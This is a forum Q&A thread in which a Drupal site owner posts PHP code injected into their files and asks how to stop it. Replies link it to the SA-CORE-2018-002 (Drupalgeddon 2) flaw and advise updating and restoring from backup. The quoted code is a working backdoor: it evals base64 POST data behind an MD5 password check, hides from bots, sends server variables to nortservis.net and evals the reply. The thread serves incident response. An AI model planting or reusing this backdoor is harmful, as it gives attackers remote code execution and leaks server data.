0

I have someone injecting my php files with the following code:

if(md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d") { 

eval(base64_decode($_POST["cookies_p"])); }
if (strpos($_SERVER['REQUEST_URI'], "post_render" ) !== false) { $patchedfv = "GHKASMVG"; }
if( isset( $_REQUEST['fdgdfgvv'] ) ) { if(md5($_REQUEST['fdgdfgvv']) === "93ad003d7fc57aae938ba483a65ddf6d") { $patchedfv = "SDFDFSDF"; } }

if($patchedfv === "GHKASMVG" ) { @ob_end_clean();  die;  }

if (strpos($_SERVER["HTTP_USER_AGENT"], "Win" ) === false) { $kjdke_c = 1; }
error_reporting(0);
if(!$kjdke_c) { global $kjdke_c; $kjdke_c = 1;
global $include_test; $include_test = 1;
$bkljg=$_SERVER["HTTP_USER_AGENT"];
$ghfju = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "bot", "spid", "Lynx", "PHP", "WordPress". "integromedb","SISTRIX","Aggregator", "findlinks", "Xenu", "BacklinkCrawler", "Scheduler", "mod_pagespeed", "Index", "ahoo", "Tapatalk", "PubSub", "RSS", "WordPress");
if( !($_GET['df'] === "2") and !($_POST['dl'] === "2" ) and ((preg_match("/" . implode("|", $ghfju) . "/i", $bkljg)) or (@$_COOKIE['condtions'])  or (!$bkljg) or ($_SERVER['HTTP_REFERER'] === "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']) or ($_SERVER['REMOTE_ADDR'] === "127.0.0.1")  or ($_SERVER['REMOTE_ADDR'] === $_SERVER['SERVER_ADDR']) or ($_GET['df'] === "1") or ($_POST['dl'] === "1" )))
{}
else
{
foreach($_SERVER as $ndbv => $cbcd) { $data_nfdh.= "&REM_".$ndbv."='".base64_encode($cbcd)."'";}
$context_jhkb = stream_context_create(
array('http'=>array(
                        'timeout' => '15',
                        'header' => "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:10.0.9) Gecko/20100101 Firefox/10.0.9_ Iceweasel/10.0.9\r\nConnection: Close\r\n\r\n",
                        'method' => 'POST',
                        'content' => "REM_REM='1'".$data_nfdh
)));
$vkfu=file_get_contents("http://nortservis.net/session.php?id", false ,$context_jhkb);
if($vkfu) { @eval($vkfu); } else {ob_start();  if(!@headers_sent()) { @setcookie("condtions","2",time()+172800); } else { echo "<script>document.cookie='condtions=2; path=/; expires=".date('D, d-M-Y H:i:s',time()+172800)." GMT;';</script>"; } ;};
}

}

I blocked the nortservis.net in /etc/hosts. I disabled allow-php-url-fopen. I have fail2ban on the server but it's not catching this. What can I do?

1
  • If the injection happens when someone is running your PHP scripts, you should fix your scripts.
    – Jenny D
    Jun 22, 2018 at 13:13

1 Answer 1

1

I have experienced the same problem as you a couple of weeks ago: the php files in my server were injected with exactly the same code.

In my case, I found out that my Drupal site was not up to date and was exploited by the vulnerability known as Druppalgeddon 2 (aka SA-CORE-2018-002), which was used to fiddle with my system and inject this php. Given the seriousness of the vulnerability, I wiped out my server and reinstalled it all (lesson learned: keep your system up to date!).

If you have Drupal, verify that your version is up to date and not vulnerable to SA-CORE-2018-002. Exploit of the vulnerability may appear as a suspicious POST record in your access logs.

4
  • Yes, it is a drupal website. I will look into the update part. Jun 24, 2018 at 18:39
  • 1
    Before updating, check your current version (see CHANGELOG.txt in your Drupal root directory). If your version is before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1, then your system is likely compromised and I strongly advise you to wipe out your server and resintall again. See: groups.drupal.org/security/faq-2018-002
    – wamdebach
    Jun 24, 2018 at 20:42
  • How would I do that? I am planning to start with a new server, install latest version of drupal and then try to migrate the current website. But: will I copy/migrate the vulnerability? Jun 26, 2018 at 5:05
  • 1
    I would restore the website from your last backup before the attack happened. Then I would try to restore the missing content from the last backup manually, making sure that I do not copy any compromised content. If you don't have a recent backup, this may be a lot of work, but personnaly I don't see a better solution. Good luck!
    – wamdebach
    Jun 27, 2018 at 6:28

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .